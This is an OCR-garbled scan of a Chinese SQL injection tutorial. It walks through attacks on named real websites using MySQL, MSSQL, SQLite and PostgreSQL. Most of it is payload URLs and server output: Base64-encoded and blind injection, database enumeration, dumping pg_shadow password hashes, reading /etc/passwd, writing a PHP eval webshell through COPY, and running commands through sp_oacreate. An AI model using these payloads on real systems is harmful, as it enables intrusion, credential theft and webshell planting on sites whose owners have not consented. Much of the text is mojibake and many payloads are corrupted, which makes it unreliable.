user-admin'and lefi(pass,32)-'04843¢9101adf2287c0af5fe 16750435
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http://ww.-smartbﬂ).net/dem o/b2b/member/\ checl';.php?js_useﬁa'dinin'and+length((selcct+table _name* from+information_schema.
tables+limit+0,1))<100%23
http://www.smarth2b.net/demo/b2b/member/check.php?js_user-admin'and+length((select table_name: from*information_schema.
tables+limit+0,1))-14%23

b frTMS QLIS Mk AL
select userid from demo_b2b_member where user = 'admin’and length((select table_name from information_schema.tables limit 0,1))
=14#'
L2 A6, o Tinformation_schemaAWIFIF, wJBAS 4 HIEMySQLIEA XE KA PRAPHFE X KT limitx, y BIEL, 0]
PLEEMSQLTM.

el ™ S A ascii R ERIhexPRER 7o XA RIS OB HphpIGPCEL X, fildm:
http-:/ /m.'sma.rtbzb.net/demu/b?b/mém-bér/cbechphp?jsiuser=admin'anii‘rsl;b‘str(lﬂ I’t(pa‘.ss_, 1.1, D=(;har_(48)"£23
select userid from demo_b2b_member where user = "admin'and substr(pass,1,1)=char(48)#

substrQ IEAVIBAS EMySQL T, SRS, SRR 7o Char() ' il 1% 7 ¥4 46 Masciili i 7
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fl 2REFA? (it SOLRMIARZ R ), PROEnl, jfix 2 52t s, J0 0 S SQLIE R ASIRR b, BB .

PRIEEA T IAAZ00 7 F R MARE 2 ), PREZEIY, @)X 28w, elaix 2% X THANX G, LAEAS I
THETHLMAZ.

B2 F5MiE Baseo1 & 5ITEAM? & PRRIPREaE (002 AMs, T HERX 24006, &8, RMAR. R I
unIl&Au“ﬂ%f Atk X,

AT Google EmPSQLIT ARIIINGR, X7 212 2 H10: ‘

murl news.php ?id=
inurl:*.php?id-12 _
inurl:.php?articleid- I

b‘i‘*”tilg WA R A AL, GETIUAA LB PR TR WY, k&R, I
I IR 2PRARA, R G &, PR SO 8T Rk K, R AM? AU AR BT ULET Baseod M
. RAOMENS, wHARL R, BECRORAi, MR, AR Baseos BIANIBLRIHREE Y, LB 8y ALt
I sk ik, 8 TSQLIEA. B L, X AMEECT & MBaseotlt] urlifP 3% Bl it A, PRBEEREIIT DAL, A, § I
$l webshellZk #lk 725, PRakM Elmlsf “ma" 41 EADL 7o mxBaseor RIGFTA L, FlmdT T,

T, AR PR AL 2 Al Base6 1 BIIEA .
I Baseotad — FM& 150, Wit amf s, AT e, By, 5, D7, b Phaa, X PRt RS HEXSR, fHRE I
JEHEXSaW w2 2%, RT3y SO Ry RV R A B 0%, X T _ & st wIbAG— PiXH: (gL BY
I Baseotif i) . MAAAtREARE, Hfi XHARIRMN PBaseot IS 11,

B, (A RREFE AR TR, nlGE2 fk FEid KR T

inurl:.php?id=13
I W2, BaseoURIET AIIHIA KT 13" BALKH

inurl:.php?id-MTM-
I ee? AR, SEARLIXHHN, lnbd:
I Goc >gie inurk; php?id=MTM= B

Search

Evarything favehotel Denpasar - Fave Hotels

wwew favehotels Tacation php?id=MTM= - Indenesia
Images Located in the heart of Denpasar this fave lecation is the preferred hoted of business
Maps travelers. Major international and local banks, government offices, hospitals, ...

Vidaos The Indo Arnsncan Arts Councﬂ (IAAC) presents the Suth Annual .
= und_town_details php 7id=MTM
News Newv kNY Sepbembe9|.h2{l|:|9 The Indo-American Arts c ncil, {(IAAC) is proud

Morer to present the Skeh Annual IAAC Erasing Borders 2009: Exhibition of ...

- RUMAH TERAS SOLO. BANDUNG, CISARUA BOGOR
Winnipeg, MB www. rumahieras com/spesifikasiprod php¥id=MT . - Translate this page

Change location PRODUCT DETAIL Rumah Teras Solo. Rumah Teras Solo adalah kensep "Guest
House Keluarga “dipusat kota . Dengan Arsitektur perpaduaan Artdeco dan ..,

Lt Welcome To IQ Couponiitie> <meta hitp-equiv="Content-Type ...
Pages fom Canada wiww. lechmedi com/demovyipitcionaldeals php ?id=MTM=

INDUSTRIES PAGE SLIDING SCRIPT —> </head> <body > <iframe
Al results name="mainframe" Id="mainframe™ src="headeriframe php?id=MTHL=" haight="91" ...

Sites with images
More search tooks

- 91
carvariindex. php7id=MTM=
Ca ao Satae Emr.m e{SE} Male/Female, Max 31 years ol
Min 2 years experience in propery. insurance. of automotingf,

ALt EA s E M RETEA R, R I AP aBLFEIWebshell, F $IWebshelll'X f1 151 LikhiE &+ IR &5, )
pl:p"](l MTM- ISR php?id-13, HAL R GRS R Bascot il insChs FIRF52S EREPL 13RIMETIN. php?id-13 M55
KAMEAL, BHIEALR-H. UALARARBINGS, BIRBRK
Base61 4.,




B BaseB4Zf7 ;A

H Busesdlfl | [ BasesiB | uDs | | asciz->wie-s | | wre-

Coemg ) ([ oewz_] me [ 3 | =% [#=awscses

BER:

13'

iR / =t g

MTHn b | /fél" ML
"L www eiaexeap.one

BREAT BT Bascot BB 51: MTMn, BAGooglefd SIR13E— 4k bl A fil:
hitp://www.favehotels.com/location.php?id=-MTM-
k-3 b H
http://www.favehotels.com/location.php?id=MTMn

MG 7 SQLIMER I & -

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use

near ' at line 3

[ | @ http://www.favehotels.com/location.phpZid=MTMn

You have an error in vour SQL syntax; check the manual that

3 silic

'bwww.nuump.ou

AR ] IR ARM? JRANREE—— “php?id-13and 117 Wll? {F8L, Baseoribhik P AGEMME "2k 4" % 200 R F RS QLIE 1)
P17 K613 and 1-1"FIBase64 B AL "MTMgYWSKIDEMQ--", &1 P
htp://www.favehotels.com/location.php?7id-MTM-
hitp://www.favehotels.com/location.php?id=-MTMgYW 5kIDEIMQ-~
A AL — BT ? S 7, il e WIRREAL 30 T B BRI T
AT SRR SR, RATMIAIR T BRI S I3, UM Baseod Sl BRI Ak, RIS, — KM 25— KWk, LN
3 R R W e O A B (TR PR
| -.php?id=0 union select 1,2,3,4,5,6,7,8,9.0,1,2,3,4,5,6,7
HB 2 5% A5 i Base 64MAEE A B R REAL -
http://www.favehotels.com/location.php?id=-MCB1bmlIvbiBzZWxIY3QgMSwyLDMsNCw1LDYsNyw40Sww LDEsMiwzLDQsN
Sw2LDe=

Fadr S A i BeoA s
I I The used SELECT statements have a different number of columns

S —
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icomlocation phplid=MCBIbmivbiBZWdY3 QgMSwyLDMNCwl LDYsNywd OSwwl DEsMiwzl DO:sNSw2LDex

§ Fave Hotels

ABOUT FAVE LOCATIONS CONTAC

'WWW.BLACKEAP.ORG

F Rl F AR SR AE 1, Pk ARG G117 o SRATE SR PRt sh, AR, AW P MySQLEGR I 5 TEA RN
OMYSQLER MR £ 2 AT ) | B2 AR AL

-php?id-0 union select 1 from (select count(*),concat(floor(rand(0)*2),(select database())a from information_schema.tables group by a)b |

I Ehe used SELECT statements have a different number of columns

11 BaseotZabti 51

http://www.favehotels.com/location.php?id-MCB1bmlvhiBzZWxIY3QgMS Bmem9tl ChzZWxIY3QgY 29 1bnQ oKiksY29u Y 2F 0K GZsb
29yKHJIhbmQoM CkqMiksKHNIDGVjd CBKYXRhY mF 2ZSgpKSIhI GZyh20gaW5mb3J(YXRpb25fc2NoZW ThLaRhYmxlcyBnem91cC

I BieSBhKWI-

bk f R M thelavehotels

Vecatiom phaglicht hC B b b5 M Bie O haT VDO g 29 oKk PV EFOK G b2 A b QoMK GV B B P Sgp Gy b0 g e

n

I oM ABOUT £ LOGATIONS T DEALS
i)uphca‘e entry "1 RS e for key ‘group._key’

Dl
L] P
DA RIBATEA Pk JUSCIRR 1, TR AT DA 8t % £
I | $at id-base64_docode(S_REQUESTIid'D;/AR IR RidJi i1
Bsetcount=mysql_query("select at_visit from tbl_at where at_id="".$at_id."") or die(mysql_error());
| | mwmanpauns
FATHAFRR AL 2%, B2, RkWLRIE FSOLEM, SATMIe s, LWk, Hikh. B2,
I PeAT T b L ER G DA DL § il A Min B 0
| Sat id-base64 decode($ REQUESTIidD;/ARMN% Bid)f 1w
$at_id-(int)$at_id;
I Bat_id-$setcount-mysql_query("select at_visit from tbl_at where at_id=".$at_id."") or die(mysql_error());
| /AR VR Bl B
I BHEBEA 22" T Baseo Bl MIFTE ARl 7, D] B PR A% IR H SR
| Satid-(indbase6t decode($_REQUESTIid1);
I a—HECR

S —



pbptMSSGL;T A

MRIEEEABARK, 2 &selectmiIAidiB R namert 2l
I Hbs: LA S350

Juik: i
I FtHbs: hup:/Avww.sdzhyl.com/

k5 ANT AL

| hitp:/ /www.sdzhyl.com/: zhengheng/ performance/sub.php?table=performance&id-12

Feaiin 73 5 Mland 1-18land 1-2

| hitp://www.sdzhyl.com/zhengheng/performance/sub.php?table-performance&id-12+and +1-1
I &Il il ¥ G il

| httpz//www.sdzhyl.com/zhengheng/performance/sub.php?table=performance&id=12+and+1-2

I VR Ja §335% B i

‘Warning main(): PropGet() failed: %/ &% Source:ADODB.Field Description: BOF 2% EOF i — AR “5U” , & S
AUBMER, PGB R A SWIER in d\program files\magic winmail\server\webmail\www\zhengheng\performance\
sub.php on line 42

‘Warning: main(): PropGet() failed: % 23 « Source: ADODB.Field Description: BOF
BREOF pH— T2 A" RAHMMSRSUMNR. ATORFER-THRO2R.
n d:\ program fikes\magic

winmall\server\ \ A gheng\ perf \sub.php on ine 41

Warning: man(): PropGet() faled: 22 8. Source: ADODE.Feld Description: BOF

% EOF A — A", HAIMOCREIRRR, — P EHWENER.

in d:\program files\ magic e

winmail\server\webmai\www\zhengheng sdolie
WWW.BLACKBAP.ORG

Ml i, REF IR A php  MSSQLIR BRI, 37 BBk

| hitp://www.sdzhyl.com/zhengheng/performance /sub.php?table-performanced&id =12 +and * 1-1union ‘select 1

Jul 5 m

Wa.rnmg; mamO Invnke() failed: ﬁiﬁ’l‘a Source: Microsoft OLE DB Provider for SQL. Server Description: ﬁﬂUNIONEﬁ

zhengheng)\performance\sub.php on line 41

11 SQL i Sty fiif 7% ik At H sk U IR B H &AL, in d:\program files\magic winmail\server\webmail\www\

3 (nul)(): Tnvokel) faied: S B4k Source: Mxrosoft OLE DB Provider for SQL Senver
B UNON EWTE SQUIRHSMHAERPA AR IFES Mmm n

Warning: main(): Invoke() falled: £ 8 ) - Source: Microsoft OLE DB Provider for
SQL Server Description: 118 UNIoN i5W 8 sqL WEhMAATEHELRAESEH
K AHMNEHANEAT. in d:\program fles\magic

g g\ p sub.php on fine 41

er el

Warning: main(); Invoke() faled: %4 5. Source: OLE DB Provider for
SQL Server Description: i fisS. in d:\program

winmal\server\webmail\www\zhengheng \ ,Lm\;ﬂw(xc/

WWW.BLACKBAP.ORC

S ——

W REMSSQLBER B - 5534




| httpz//www.sdzhyl.com/. z]mngbeng/ performance/sub.php?table=performance&id=12+and+1=1+union+select+1,1,1 |
FIR I

Warning: main(): Invoke () failed: %/F &% Source: Microsoft OLE DB Provider for SQL Server Description: #f 5% W ap%¢:
ntext & int A 4% in d:\program files\magic winmail\server\webmail\www\zhengheng\performance'\sub.php on line 41 I

ing: (nul)(}: Invoke() faded: R4 Wik« Source: Microsoft OLE DB Provider for SQL Server

SQL Server Description: £ fE 822 M5E: ntext 5 int FMF in d:\program
files\magic winmail\server\webmail\www\zhengheng\ performance\sub.php on
fine 41

Warning: main(): Invoke() failed: %4 %3« Source: Microsoft OLE DB Provider for I

tion: HH{EIZEALNZE: ntext 5 int A in d:\program files\magic
I I

Warning: main(); Invoke() faied: £4 8. SourgerMicrosoft OLE DB Provider for I

SQL Server Description: FE@& S, n d:\ mﬂﬂ\gﬁ- s('[ “C‘

winmail\server\webmail\www\zheng wmﬁ.&ﬁ

I T b, Sflaif, SREARM, REMEK, ARAA N TR, Munion all X union, MHnulft I
T BRI, SRHORBOH ¢, MY Hrffoall, REAREHDR WanfrfiAmh, RAMAL, mAME, RN R R R
i |
| http://www.sdzhyl.com/zhengheng/performance/sub.php?table-performance&id=12+and+1=1+union *all+select+null,null,null |

AT T, & UNTON 2500000 SQL i sl fa A3 628 At 1 sl IS A AL, T 365Nl

I http://www.sdzhyl.com/zhengheng/performance/sub.php?table-performance&id=12+and+ 1-1+union +all*select * null,null,null,null
B PIAIEL, 28T XHOR G o M idfand 14560 and 1-2, 8 ool KA BT, HEEGE, B, R X4
AT 5
| https//www.sdzhyl.com/zhengheng/performance/sub.php?table-performance&id-12-and- 12 union all select 1,2,null,3 |

I HOK A8 2

R, P4, Hiphp MySqUREEAA R, B bR A GAOILVDEBIE . ATV A4 RS 28 ARA FRA., Wi fir2di
k@ @version:
| http://wWw.sdi-hyl.com/zhengheng/perform:anceﬁub.-php?tablfperﬁ)rmanc:e&id=1'2*an'd+l=2+unibn+all+;sele'c1+l.@@mrsibn.nu[l,:i |

Eitiii“kﬂ!“lﬂ
Wty Dy Lot e s .

S ——
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‘Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright () 19882000 Microsoft Corporation Personal Edition
on Windows NT 5.2 (Build 3790: Service Pack 1)

RMSSOQL2000, 4 7, daUTHGIRA % (R ISE MR, MSSQLIEARBURK %, BERIOEERL.) Sanbr2mk: db name(),
#03 i 4i

http_://wviw‘.sdzhyl.cpm/ zhen@eng/ performange'/sﬁb.lih_p?hble=perfprmance&idF1 2+and+1=2+union salltselect+ 1_.d]_)_name0 ;null,3

M50 BRL: zhengheng, IRN i el Bl i 4RES BRI 1A ) £k -

hitp://www.sdzhyl.com/zhengheng/performance/sub.php?table-performance&id-12+and+ 1-2+union +all *select* 1,name,null, 3+ from+
master.dbo.sysdatabaseswhere+dbid=1-—

BB Rand 12, 2% Won ik name", 8o FRBRMM L *“from master.dbo.sysdatabases ', YRR B where B dbid, | i)
rbdbid- 1B, B3R master

http://www.sdzhyl.com/zhengheng/performance/sub.php?table-performance&id-12+and+1-2+union+all+select: 1,name,null, 3+ from+
master.dbo.sysdatabases+where+dbid=2—

BB : tempdb

hitp://www.sdzhyl.com/zhengheng/performance/sub.php?table-performance&id-12+and *1-2+union*all* select1,name,null, 3+ from *
master.dbo.sysdatabases where+dbid=3—-

HABEE 7 model

http://www.sdzhyl.com/zhengheng/performance/sub.php?table=-performance&id=12 +and +1-2+union +all *select1,name,null, 3+ from+
master.dbo.sysdatabaseswhere+dbid=4-—

SR F: msdb

hitp://www.sdzhyl.com /zhengheng/performance/sub.php?table-performancedid-12 -and +1-2+union*all*select 1,name,null, 3 from
master.dbo.sysdatabases where+dbid=5-—

B hA B £ pubs

http'://wWw..-sdi-hyl.eoﬁl/zhengheng/perfdrmance/éub.-php?‘table=perf0rmancb&id=12fami+l=2+unit').n+all+;seléc1+l.name,-nn]l;3+fr0m+
master.dbo.sysdatabases*where*dbid=6—

PATEIER #: Northwind

hltp:/ MW.'sdzhyl. pom/zhenghéng_/pérfarmancef sub.php?table-performance&id=12+and+1-2+uniontall+ select: 1,name,null, 3+ from*
master.dbo.sysdatabases where +dbid-7 -

BEABARA A StrongCRM

http://www.sdzhyl.com/zhengheng/performance/sub.php?table=-performance&id=12+and+ 1-2+union+all+ select: 1,name,null,3* from+
master.dbo.sysdatabaseswhere+dbid-8—

SENAEIEE £: handson

http://www.sdzhyl.com /zhengheng/performance/sub.php?table-performanceid=12 -and+ 1-2+union*all select* 1,name,null,3+ from*
master.dbo.sysdatabases -where tdbid=9-

BNABIEE ChpiBdiRIA ) Fizhengheng

htt]:i://wWw_.'sdi-hyl.cem/zhengheng_/perfdrmanceﬁub.-php?‘tablé*perﬂ)rmancb&id=12*ami+1=2+unibn+all+;sele'c1+l.naﬂm,—.nn]l;B’*frOm*
master.dbo.sysdatabases+where+dbid=10--

BB A (jlyweb2

http://www.sdzhyl.com/zhengheng/performance/sub.php?table-performance&id =12 +and +1-2+union-all+select*1,name,null, 3+ from
master.dbo.sysdatabaseswhererdbid=11--

BB 7 qjrourstat




I Ry
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HEOF hE—FE"H" RELUMNMLROWNE . HFENEEER T AUHMLER-
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11 U AR

AR b G Cs8 0 Eanifsghbadt B, i dmd D Xbeplr, EARLARLSHA S 1 idht 7 ik
o5 Fa Sl N TN 7t & T TE(FE. LN
| http://blackbap.org/ur.php
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declare @shell int exec sp_oacreate '\r\'.-}(‘ripl.silaPlll,@shu!| output exec sp_oamethod @shell, run’,null,'d:\ ) emd.exe /e net !u(ralgrmlp
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s G R
| CREATE TABLE sqite_sequence (name,seq) |
MR PG5, mbPhn

I fan>30100
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CREATE TAULE wite_segumon’zasseg)

Lk L., sqlitelEfimysql P i iflgroup concatt®, W15 AHIS HXPHAAE. TRLETE A SIh T ABLUKIN, FBAYA ik I
I IR PARG BEB IS, Silic Groupd T LRI X T BUCHE RIS Hwebshel A, VOMAE AL T sqlitegroup_concat()
BB T PR AR X TR B k. Nk, group concatOFEEAPAGEN, TSI imit BRI 75 . FEADERRL I
limit x,y, fAldm:
http://www.casymobi.cn/product.php?id-0'union *select 1,2,3,4,5,6,7,8,9,0,11,12,13,14,15,16,17,18,19,10,21,22,23,5q1,25 from* sqlite _
masterlimit'2,1 -

ST AW
CREATE TABLE [ywix_news] ([id] INTEGER PRIMARY KEY NOT NULL, [title] TEXT NULL, [summaryl TEXT NULL, [typel
INTEGER NULL, [content] TEXT NULL, [time] VARCHAR(30) NULL)
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AU f B, %Ak BIEX A E T GoogleMIA XKL, T A PostgresqIFRE AL LA RNEF A, ML, AT,

I ARG, RS AR . SQLAKPD, A8 REMSSQLMySQL,Oracleit i Accesssk & Rinformix, firebird db2, flEfIISQL
AR AL R A AU, BB, AR AVZHROA X, WAKA 2L R Ak Sk LR h, Ak
PlA X, REEEAMIL, XEALH, MRESQL TIRIMA RS RA RLH 5 il
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S RRA

PAC K BT Bt

g

S A it A B

P& Bebiey &

AL, Pl B 0 v X B 1 )

X
REERE— A RIERYE Postgresqlif il ik BT
—@AaRA

select version();

union select I,Z_,...n,versiqn()
/Aversion OB LMy SQLIFAL —HF
b B4 -
| PostgreSQL 8.1.18 on i686-redhat-linux-gnu, compiled by GCC gee (GCC) 4.1.2 20080704 (Red Hat 4.1.2-46) |
MR T BB

select aa from bb where ce=dd;

union select 1,2,....n,aa from bb where ce=dd

/AT IS QLI LT HBRE R FEIR it 2 OR R Bl
W
select datname from pg_database;

union select 1,2,....,n,datname from pg_database;

bl 2 ¢ o

postgres,pre,template 1, templateQ

PR PRk R

select relname from pg_stat_user_tables limit 1 offset n;

/7T MyS QL information_schema.tables, Y34 AfG %
union select relname from pg stat_user_tables limit 1 offset 3;

//limit 1 offset ORIMySQLlimit 0,1— 4% .
AR Bebif T B

seleet column_name from information_schema.columns where table_name="xxx' limit 1 offset n;

union select 1,2,......n,column_name from information schema.columns where table _name=0x3a limit 1 offset 5

//MMySQL
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select usename,passwd from pg_shadow;
union select I.Z...n,_usename,pmwd. from pg_shadow
//pg-shadow SR % 8L T MyS QLK ysq B

rootlk F* Mpostgres, Tl & 5 fAl:

| postgres 942¢7638{d7c7e43310074a8f65cfd3a

- OCRE

create table test(code text);
copy test from '/ete /passwd'with delimiter E"\t';
(H: WEZ 8K T Postgresqlififi flrh 21 5, Kl Mid, sxBloMal 5k, Bzl 5

ol 8 % -

| Query failed: ERROR: extra data after last expected column CONTEXT: COPY file, line 1: "root:x:0:0:root:/root:/bin/bash”

~HAXPE

insert into test values (<?php eval($_POST["emd";?>);
copy test(code) to ™ /var/www/one.php” ;

ol 2 7 -

| Query failed: ERROR: could not open file "./var/mfhtm]/m.php"' for-wri'ting: Permission denied

pg_file_read) A MMySQLHP Fload _fileONE 24 1, fildn:

| select pg_file_read(pg hba.conf,1,pg file_length(pg hb.conf));

Y0 ] Y -

Query failed: ERROR: function pg_'fﬂc_leng_th("lmknm") does not exist HINT: No function matches the ‘given name and argument
types. You may need to add explicit type casts.

Postgresql ¥k WA L IZA, FREAS SR,

r
I
I
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m PostgreSOLE;I3L

B postgresqEABAI L, FA LR 2 BN RA UL L, ARG 2 KHL LA G AR ESAN MR 7

A, AHARNE XA T4, AR HARMAALRS, . &ihT...

%7 PHIXRGER, S BALA Rl BUIPRT, S 0K R ARG AMRTIORS, SULIER SIS HDRIASR 21 T .

L s 2P £ N7 BRI A T i s B A
TAL:

http://www.u-tokyo.ac.jp/news/detail _ehtml?id=13072

hitp://www.u-tokyo.ac.jp/news/detail _e.html?id=13072 and 1-1 IF %
http://www.u-tokyo.ac.jp/news/detail _e.html?id=13072 and 1-2 Hil%

T HAI AR

hitp://www.u-tokyo.ac.jp/news/detail_e.html?id=13072 aNd(6-6) 6-6 I Wi

htlp:/ /www.u—tokyn.ac.jp/news/detail_e.htm]?id=13072 aNd(6-7) 67 HiA

iy Bl

http://www.u-tokyo.ac.jp/news/detail _e.himl?id=13072 order by 15 1F #

hitp://www.u-tokyo.ac.jp/news/detail e html?id=13072 order by 16— Hiix [

I nL i union select AR, B2 247 1l ¥

| http://www.u tokyo.ac.jp/news/detail _e.html?id=13072 and (select length(current_database())) between 0 and 30

BB MBI AL &AL between 0 and 30,2000, RLIFE SRR L 6, SEINF SRR W FNR .

iR

| hitp://www.u-tokyo.ac.jp/news/detail _e.htmi?id=13072 and (select length(current_database()) between 0 and 7

LB A0 K1 A o720,
&%

htlp://www.n-lokyo.ac.jp/news/ detail_e.html?id=13072 and (select length(current_dalabase())) between 7 and 11

INAE7 and 11 210,
[

/news/detail_e.html?id=13072 and (select length(current._database())) between 8 and 8

R EAEE ARSI RS & PRIETDR A fa Bl ALl 4.
AL

http://www.u-tokyo.ac.jp/news/detail _e.html?id=13072 and (select ascii(substr(current_database(),1,1))) between 0 and 32768
http://www.u-tokyo.ac.jp/news/detail _ehtml?id=13072 and (select ascii(substr(current_database(),1,1))) between 0 and 16384

EAATRIR:

hitp://www.u-tokyo.ac.jp/news/detail _e.html?id=13072 and (select ascii(substr(current_database(),1,1))) between 0 and 64
htlp://www.u-tokyo.ac.jp/news/detai]_e.html?id= 13072 and (select a.scii(éubstr(cmrent_databaseo,l, 1))) between 64 and 96

il #:

| hitp://www.u-tokyo.ac.jp/news/detail _e.html?id=13072 and (select ascii(substr(current_database(),1,1))) between 117 and 117

REEEATTS 50 7 B AT W Mascil R 117, TRADRIE A

hitp://www.u-tokyo.ac.jp/news/detail_e.html?id=13072 and (select ascii(substr(current_database(),2,1))) between 0 and 32768

S —

— P ARRBEIE BN S Ok T, BVRAL: utokyodb,




\'®» PostgreSGL5;Tf

ok, HfiHE MRIMAPRLGI AR, BIDORAALAZL2A, GADILE:
http://www.u-tokyo.ac.jp/news/detail _e.htmlI?id=13072 and (select count(*) from pg_stat_user_tables) between 0 and 2000
http://www.u-tokyo.ac.jp/news/detail_ehtml?id=13072 and (select count(*) from pg_stat_user_tables) between 20and 20

b, feiilfizonhd. & PRIETDRAA, & 4:

| http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072 and (select length(relname) from pg stat_user_tables limit 1 OFFSET 0)
between 0 and 128

BRSO TANKELE D,
| http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072 and (select length(relname) from pg_stat_user_tables limit 1 OFFSET 0)
between 0 and 64

hitp://www.u-tokyo.ac.jp/news/detail e html?id=13072 and (select length(relname) from pg_stat_user_tables limit 1 OFFSET 0)
~ between 19 and 19
RS — DA IKIOA: 19, &iHE PRAGR - DARNGRL 4:
. http://www.u-tokyo.ac.jp/news/detail _e.htmI?id=13072 and (select ascii(substr(relname,1,1)) from pg_stat_user_tables limit 1
OFFSET 0) between 0 and 32768
hitp://www.u-tokyo.ac.jp/news/detail e htmlI?id=13072 and (select ascii(substr(relname,1,1)) from pg_stat_user_tables limit 1
OFFSET 0) between 112 and 120 :
—HER Nk D ARMRRE MR A 7. R BRI EGelect asciilsubstr(relname, 1L, D) A TUM2, SMABER—ARRE A THIE
N7 1, Mlselect ascii(substr(relname,2, 1)),
WHIDRAR  DAMAER 4. 1H:
http://www.u-tokyo.ac.jp/news/detail _e.html?id=13072 and (select ascii(substr(relname,1,1)) from pg_stat_user_tables limit 1
OFFSET 1) between 112 and 120

B DI A8 ARG A7 BHitA W G2l 2.2
hitp://www.u-tokyo.ac.jp/news/detail _e.html?id=13072 and (select ascii(substr(relname,1,1)) from pg_stat_user_tables limit 1
OFFSET 0) between 112 and 120

&, EAVLRIE OFFSET 0 ¥4 OFFSET 1MIn], S5 REEMFIS] 7 AL RISHAA: publish admin,
& PREADRA A7 BRI 2, FoRHE Filifl, f351° 150 AR oxdfoidfi/,
http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072 and (select ascii(substr(oid,1,1)) from pg_class where relname="publish _

| admin' limit 1 OFFSET 0) between 0 and 32768

W HR, IRE o R AR oid, T B IR MO A HR AT cas R B A% 00 varc har K Y,

i -h.up://;'.vww.u-lokyo.ac.jpfncws/dctail_e.hml?§d=13072 and (select ascii(substr(cast(oid+as+varchar(10)),1,1)) from pg._c!.ass where
relname="publish_admin’ limit 1 OFFSET 0) between 0 and 3276811
hitpz//www.u-tokyo.ac.jp/news/detail _ehtmlI?id=13072 and (select ascii(substr(column name,1,1)) from information_schema.
columns where table_name-$publish_admin$ limit 1 OFFSET 0) between 0 and 120

ALIRIR, EPE,

| http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072 and (select ascii(substr(column_name,1,1)) from information_schema.

columns where table_name=0x7075626C6973685F61646D696E limit 1 OFFSET 0) between 0 and 120

WA,
I X, \APLT, BATS A, BBV —ADRMANE . WM EA PSR
fEZ RO, sl FPe reainl .

S —




m PostgreSOLE;I3L

LA T A 7, SRS SR A G, PRBARIT R R A, WSCASARAIBAL g a4 b6l
FefiErtin.

htlp:/ www.u “tokyo.ac.j p/ news/detail e html?id=13072+and+ (selectascii(substr(column_name,1,1))*from*information_schema.

columns where ‘table_name= publish_admin ‘hetweent0+and+256

AL 25 2 2 foi AR U, SRS 7 ARG THE? 2 2 S0 TR b 66 AZFR 2366,
hitp://www.u-tokyo.ac.jp/news/detail _e.html?id-13072+and +(select+ascii (substr(column_name, 1,1))+from*information_schema.
columnswhere ‘table_name=chr(112)|[chr(117)/lchr(98)/lchr (108)[chr(105) |chr(115)]| chr(104) [l chr(95) | chr(97)]lchr (100) chr (109)
lehr(105)[[chr(110) limit+ 1+OFFSET* 1) +between 0+and+256

... %, ARG ?

table_name= publish_admin

table_name=chr(112)/lchr(117) | chr(98) [ chr(108)llchr(105) [l chr (115)/[chr (104)|[chr(95) |ehr (97) | chr (100) [chr (109) |chr (105) [lchr(110)

Bl A7, KT RS BE .
LADKBE AR LARTBINAG, WA XHIN:

hit p:/ Swww.u- tokyo.ac.] p/ news/detail_e.html?id=0+union*selectt null,version(), I,version(),version(),version() ,null,version{),version(),

version{),null,null,version(),version(),column_name*from +information_schema.columns+where*table name=chr(112)/[chr(117)

lchr(98)/lchr (108)[chr(105)]chr(115)llchr(104) | chr(95) [ chr(97) lchr(100) chr (109) [ chr(105)/[chr(110) Timit 1+ offset 10+ ——+

AR A RS AR,
http://www.u-tokyo.ac.jp/news/detail _e.html?id=13072+and * (sclect+ascii(substr(aid,1,1)) *from +publish_adminlimit+ 1+OFFSET0)
+between+0+and +236

A2 2 7 s,

hitp://www.u-tokyo.ac.jp/news/detail_e.html?id=0+union*select null,version(),1,version(),version(),version(),nullversion(),version(),

version(),null,null,version(),version(),rank* from* publish_admin

T FEAfH.... R,

hit p:/ /www.n—tokyo -ac. p/ news/detail_e.html?id=13072+and +(select ascii(substr(rank,1,1)) +from+ publish_admin+limit+ 1+ OFFS ET+0)
+hetweent0+and+236

W, ARIBAIR, dRRC! PR
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) PostaresaLizAmEEs

S —

fli*.‘.ﬂ}[.’l\}{iﬁ?“l PARIRE AR A PostgreSQL = #81F PosigreSQL MIEEK pg query() ; Ky function.pg query "Pil pgo H17A T

HAR A% 20 AT AA A bl AGE i AR 7 IR 6, TeiTabs DA 7. WMLl A
RRANE, AARNMGRIRM, (1 2GERERA, (I2ZHAGMATZIMN, WAL mt, #RE 7 S G £ S0k 55 2% 00
bi.

AXOET (PostgreSQLIT AMAETD iin®7, AARADORSA R, & Wit xb L bl i 5 7 Posigre
SQLEA . 7 REHI Y B Wil i, GPCMonW Iy PRy Bimlild, TR pmi, &4l
1. i P php B8 B MPostgreSQL

FEAER %4~ php PostgreSQLIF TR 7 50RA WLE M3 — A A S, Bfiifixcphp?idn Kmmnes] s, g5 2L
Hif:

Warning: pg_query() [function.pg-queryl:

E;;

Query failed: ERROR: unterminated quoted string at or near ™" LINE 1: select * from now where no = 111' * in /home/sites/web/
school/deiail.ph_p on line 307

MySQLIH A S, £ %A RIZ A unterminated quoted string at or near AREMySQLIFI? MySQLIFIHIA Il B HIA AR AIAA T .
2. 7 BUBORI{ Bt il 5 ) ) R
Fefnia s FmfiE A ssorder by 200 BARA nowBUIERIIT BECN T 2, 53601 order by 20000, 5 2R A u] EAIRA & Berivhy
2000784, Rz,
| Warningpg_query() [function.pg-queryl:
| Query failed: ERROR: ORDER BY position 2000 is not in select list in /home/sites/web/school /detail.php on line 307
VHE S TR AT BASS ik 0 7 BT R BB, BTG EMYS QLIRS R,
: xx.php?id=0+union *select+1,2,3,4,5,6,7,8,9,10,11,12,13,14
R AT 1AL 09 5 23 o T
| Warning pg_query0 [function.pg-queryl:
Query failed: ERROR: UNION types character varying and integer cannot be matched in /home/sites/web/school /detail.php on
| Tine 307
Al R AL 2 BB ? PRSP, union BT BB 7, MULEMA W T X ASORIk :
| UnionBi(FFFEOKID): SELECT BT, 34, FUMLECT BT M, XA, B 7,38 B X B
~ UnionkiGEAIREAR): SELECT By, Bu's By, By By By By By BB BB BL B
HEkATR R i Hite 2 A %, SR BRI L 7 B 7 BRI S, SRS fidnix 144 vh, Wb A7 Bl 1, ki
R KA T REB T8 7R ol NaK T Rl fE, 2000 2
i, ANL23,4...13, 1R LY BRI HIENULL, film:
xx.php?id- - Wiid% ‘F rand + 1=1+unionselect+ null,null,null,null,null,null,null,null,nullnull,nullnull,oull, pull
